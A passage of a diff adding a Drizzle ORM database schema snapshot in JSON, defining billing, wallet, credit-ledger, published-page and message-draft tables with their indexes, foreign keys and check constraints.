+ "notNull": true
+ }
+ },
+ "indexes": {
+ "message_drafts_user_context_key": {
+ "name": "message_drafts_user_context_key",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "contextKey",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "message_drafts_expires_at_idx": {
+ "name": "message_drafts_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "message_drafts_userId_users_id_fk": {
+ "name": "message_drafts_userId_users_id_fk",
+ "tableFrom": "message_drafts",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.published_pages": {
+ "name": "published_pages",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "path": {
+ "name": "path",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "artifact_key": {
+ "name": "artifact_key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "publish_title": {
+ "name": "publish_title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publish_description": {
+ "name": "publish_description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publish_og_image_url": {
+ "name": "publish_og_image_url",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "noindex": {
+ "name": "noindex",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "theme_bridge_enabled": {
+ "name": "theme_bridge_enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "suspended_by_policy": {
+ "name": "suspended_by_policy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "published_by": {
+ "name": "published_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "published_at": {
+ "name": "published_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "published_pages_drive_id_idx": {
+ "name": "published_pages_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_pages_suspended_by_policy_idx": {
+ "name": "published_pages_suspended_by_policy_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"published_pages\".\"suspended_by_policy\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_pages_page_id_idx": {
+ "name": "published_pages_page_id_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "published_pages_drive_id_drives_id_fk": {
+ "name": "published_pages_drive_id_drives_id_fk",
+ "tableFrom": "published_pages",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "published_pages_page_id_pages_id_fk": {
+ "name": "published_pages_page_id_pages_id_fk",
+ "tableFrom": "published_pages",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "published_pages_published_by_users_id_fk": {
+ "name": "published_pages_published_by_users_id_fk",
+ "tableFrom": "published_pages",
+ "tableTo": "users",
+ "columnsFrom": [
+ "published_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "published_pages_page_id_key": {
+ "name": "published_pages_page_id_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "page_id"
+ ]
+ },
+ "published_pages_drive_id_path_key": {
+ "name": "published_pages_drive_id_path_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "drive_id",
+ "path"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.billing_epochs": {
+ "name": "billing_epochs",
+ "schema": "",
+ "columns": {
+ "key": {
+ "name": "key",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "startedAt": {
+ "name": "startedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.credit_holds": {
+ "name": "credit_holds",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "walletId": {
+ "name": "walletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fallbackFromWalletId": {
+ "name": "fallbackFromWalletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "estCents": {
+ "name": "estCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "aiUsageLogId": {
+ "name": "aiUsageLogId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spendKind": {
+ "name": "spendKind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'ai'"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "credit_holds_user_idx": {
+ "name": "credit_holds_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_holds_wallet_idx": {
+ "name": "credit_holds_wallet_idx",
+ "columns": [
+ {
+ "expression": "walletId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_holds_expires_idx": {
+ "name": "credit_holds_expires_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "credit_holds_userId_users_id_fk": {
+ "name": "credit_holds_userId_users_id_fk",
+ "tableFrom": "credit_holds",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "credit_holds_walletId_wallets_id_fk": {
+ "name": "credit_holds_walletId_wallets_id_fk",
+ "tableFrom": "credit_holds",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "walletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "credit_holds_fallbackFromWalletId_wallets_id_fk": {
+ "name": "credit_holds_fallbackFromWalletId_wallets_id_fk",
+ "tableFrom": "credit_holds",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "fallbackFromWalletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "credit_holds_est_cents_nonneg": {
+ "name": "credit_holds_est_cents_nonneg",
+ "value": "\"credit_holds\".\"estCents\" >= 0"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.credit_ledger": {
+ "name": "credit_ledger",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "walletId": {
+ "name": "walletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "entryType": {
+ "name": "entryType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "bucket": {
+ "name": "bucket",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "amountCents": {
+ "name": "amountCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appliedCents": {
+ "name": "appliedCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "chargeMillicents": {
+ "name": "chargeMillicents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiUsageLogId": {
+ "name": "aiUsageLogId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "realCostCents": {
+ "name": "realCostCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "markupBps": {
+ "name": "markupBps",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 15000
+ },
+ "stripeRef": {
+ "name": "stripeRef",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "paidCents": {
+ "name": "paidCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "consumeStatus": {
+ "name": "consumeStatus",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "consumeError": {
+ "name": "consumeError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reconcileGenerationKey": {
+ "name": "reconcileGenerationKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spendKind": {
+ "name": "spendKind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'ai'"
+ },
+ "fallbackFromWalletId": {
+ "name": "fallbackFromWalletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "automationRef": {
+ "name": "automationRef",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "credit_ledger_user_idx": {
+ "name": "credit_ledger_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_ledger_wallet_idx": {
+ "name": "credit_ledger_wallet_idx",
+ "columns": [
+ {
+ "expression": "walletId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_ledger_usage_log_unique": {
+ "name": "credit_ledger_usage_log_unique",
+ "columns": [
+ {
+ "expression": "aiUsageLogId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"credit_ledger\".\"aiUsageLogId\" IS NOT NULL AND \"credit_ledger\".\"entryType\" = 'usage'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_ledger_stripe_ref_unique": {
+ "name": "credit_ledger_stripe_ref_unique",
+ "columns": [
+ {
+ "expression": "stripeRef",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"credit_ledger\".\"stripeRef\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_ledger_reconcile_key_unique": {
+ "name": "credit_ledger_reconcile_key_unique",
+ "columns": [
+ {
+ "expression": "reconcileGenerationKey",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"credit_ledger\".\"reconcileGenerationKey\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "credit_ledger_consume_status_idx": {
+ "name": "credit_ledger_consume_status_idx",
+ "columns": [
+ {
+ "expression": "consumeStatus",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "credit_ledger_userId_users_id_fk": {
+ "name": "credit_ledger_userId_users_id_fk",
+ "tableFrom": "credit_ledger",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "credit_ledger_walletId_wallets_id_fk": {
+ "name": "credit_ledger_walletId_wallets_id_fk",
+ "tableFrom": "credit_ledger",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "walletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "credit_ledger_fallbackFromWalletId_wallets_id_fk": {
+ "name": "credit_ledger_fallbackFromWalletId_wallets_id_fk",
+ "tableFrom": "credit_ledger",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "fallbackFromWalletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.automation_skip_notices": {
+ "name": "automation_skip_notices",
+ "schema": "",
+ "columns": {
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "lastNotifiedAt": {
+ "name": "lastNotifiedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "automation_skip_notices_driveId_drives_id_fk": {
+ "name": "automation_skip_notices_driveId_drives_id_fk",
+ "tableFrom": "automation_skip_notices",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_spend_overrides": {
+ "name": "drive_spend_overrides",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "drive_spend_overrides_userId_users_id_fk": {
+ "name": "drive_spend_overrides_userId_users_id_fk",
+ "tableFrom": "drive_spend_overrides",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_spend_overrides_driveId_drives_id_fk": {
+ "name": "drive_spend_overrides_driveId_drives_id_fk",
+ "tableFrom": "drive_spend_overrides",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "drive_spend_overrides_pkey": {
+ "name": "drive_spend_overrides_pkey",
+ "columns": [
+ "userId",
+ "driveId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.wallet_cap_alerts": {
+ "name": "wallet_cap_alerts",
+ "schema": "",
+ "columns": {
+ "walletId": {
+ "name": "walletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumerKey": {
+ "name": "consumerKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "capWindow": {
+ "name": "capWindow",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "periodStart": {
+ "name": "periodStart",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "threshold": {
+ "name": "threshold",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sentAt": {
+ "name": "sentAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "wallet_cap_alerts_walletId_wallets_id_fk": {
+ "name": "wallet_cap_alerts_walletId_wallets_id_fk",
+ "tableFrom": "wallet_cap_alerts",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "walletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "wallet_cap_alerts_pkey": {
+ "name": "wallet_cap_alerts_pkey",
+ "columns": [
+ "walletId",
+ "consumerKey",
+ "capWindow",
+ "periodStart",
+ "threshold"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "wallet_cap_alerts_window_valid": {
+ "name": "wallet_cap_alerts_window_valid",
+ "value": "\"wallet_cap_alerts\".\"capWindow\" IN ('daily', 'monthly')"
+ },
+ "wallet_cap_alerts_threshold_valid": {
+ "name": "wallet_cap_alerts_threshold_valid",
+ "value": "\"wallet_cap_alerts\".\"threshold\" IN (80, 100)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.wallet_consumer_caps": {
+ "name": "wallet_consumer_caps",
+ "schema": "",
+ "columns": {
+ "walletId": {
+ "name": "walletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumerKey": {
+ "name": "consumerKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dailyCapCents": {
+ "name": "dailyCapCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "monthlyCapCents": {
+ "name": "monthlyCapCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "wallet_consumer_caps_walletId_wallets_id_fk": {
+ "name": "wallet_consumer_caps_walletId_wallets_id_fk",
+ "tableFrom": "wallet_consumer_caps",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "walletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "wallet_consumer_caps_pkey": {
+ "name": "wallet_consumer_caps_pkey",
+ "columns": [
+ "walletId",
+ "consumerKey"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "wallet_consumer_caps_consumer_key_nonempty": {
+ "name": "wallet_consumer_caps_consumer_key_nonempty",
+ "value": "length(\"wallet_consumer_caps\".\"consumerKey\") > 0"
+ },
+ "wallet_consumer_caps_daily_nonneg": {
+ "name": "wallet_consumer_caps_daily_nonneg",
+ "value": "\"wallet_consumer_caps\".\"dailyCapCents\" IS NULL OR \"wallet_consumer_caps\".\"dailyCapCents\" >= 0"
+ },
+ "wallet_consumer_caps_monthly_nonneg": {
+ "name": "wallet_consumer_caps_monthly_nonneg",
+ "value": "\"wallet_consumer_caps\".\"monthlyCapCents\" IS NULL OR \"wallet_consumer_caps\".\"monthlyCapCents\" >= 0"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.wallet_debt_notices": {
+ "name": "wallet_debt_notices",
+ "schema": "",
+ "columns": {
+ "walletId": {
+ "name": "walletId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "lastNotifiedAt": {
+ "name": "lastNotifiedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "wallet_debt_notices_walletId_wallets_id_fk": {
+ "name": "wallet_debt_notices_walletId_wallets_id_fk",
+ "tableFrom": "wallet_debt_notices",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "walletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.wallet_funding_legs": {
+ "name": "wallet_funding_legs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "walletId": {
+ "name": "walletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "funderKind": {
+ "name": "funderKind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "funderUserId": {
+ "name": "funderUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "funderOrgId": {
+ "name": "funderOrgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "originalCents": {
+ "name": "originalCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "remainingCents": {
+ "name": "remainingCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "includedCents": {
+ "name": "includedCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "nonRefundable": {
+ "name": "nonRefundable",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sourceRef": {
+ "name": "sourceRef",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "wallet_funding_legs_wallet_order_idx": {
+ "name": "wallet_funding_legs_wallet_order_idx",
+ "columns": [
+ {
+ "expression": "walletId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "wallet_funding_legs_source_ref_unique": {
+ "name": "wallet_funding_legs_source_ref_unique",
+ "columns": [
+ {
+ "expression": "sourceRef",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"sourceRef\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "wallet_funding_legs_walletId_wallets_id_fk": {
+ "name": "wallet_funding_legs_walletId_wallets_id_fk",
+ "tableFrom": "wallet_funding_legs",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "walletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "wallet_funding_legs_funderUserId_users_id_fk": {
+ "name": "wallet_funding_legs_funderUserId_users_id_fk",
+ "tableFrom": "wallet_funding_legs",
+ "tableTo": "users",
+ "columnsFrom": [
+ "funderUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "wallet_funding_legs_funderOrgId_organizations_id_fk": {
+ "name": "wallet_funding_legs_funderOrgId_organizations_id_fk",
+ "tableFrom": "wallet_funding_legs",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "funderOrgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "wallet_funding_legs_funder_kind_valid": {
+ "name": "wallet_funding_legs_funder_kind_valid",
+ "value": "\"wallet_funding_legs\".\"funderKind\" IN ('owner', 'donation')"
+ },
+ "wallet_funding_legs_original_positive": {
+ "name": "wallet_funding_legs_original_positive",
+ "value": "\"wallet_funding_legs\".\"originalCents\" > 0"
+ },
+ "wallet_funding_legs_remaining_range": {
+ "name": "wallet_funding_legs_remaining_range",
+ "value": "\"wallet_funding_legs\".\"remainingCents\" >= 0 AND \"wallet_funding_legs\".\"remainingCents\" <= \"wallet_funding_legs\".\"originalCents\""
+ },
+ "wallet_funding_legs_included_range": {
+ "name": "wallet_funding_legs_included_range",
+ "value": "\"wallet_funding_legs\".\"includedCents\" >= 0 AND \"wallet_funding_legs\".\"includedCents\" <= \"wallet_funding_legs\".\"remainingCents\""
+ },
+ "wallet_funding_legs_donation_non_refundable": {
+ "name": "wallet_funding_legs_donation_non_refundable",
+ "value": "\"wallet_funding_legs\".\"funderKind\" <> 'donation' OR \"wallet_funding_legs\".\"nonRefundable\""
+ },
+ "wallet_funding_legs_donation_not_from_org": {
+ "name": "wallet_funding_legs_donation_not_from_org",
+ "value": "\"wallet_funding_legs\".\"funderKind\" <> 'donation' OR \"wallet_funding_legs\".\"funderOrgId\" IS NULL"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.wallets": {
+ "name": "wallets",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true,
+ "default": "('w' || substr(md5(random()::text || clock_timestamp()::text), 1, 23))"
+ },
+ "ownerType": {
+ "name": "ownerType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'user'"
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subjectType": {
+ "name": "subjectType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subjectId": {
+ "name": "subjectId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "parentWalletId": {
+ "name": "parentWalletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "monthlyRemainingCents": {
+ "name": "monthlyRemainingCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "monthlyAllowanceCents": {
+ "name": "monthlyAllowanceCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "spentCents": {
+ "name": "spentCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "topupRemainingCents": {
+ "name": "topupRemainingCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "debtCents": {
+ "name": "debtCents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "pendingMillicents": {
+ "name": "pendingMillicents",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "monthlyPeriodStart": {
+ "name": "monthlyPeriodStart",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "monthlyPeriodEnd": {
+ "name": "monthlyPeriodEnd",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
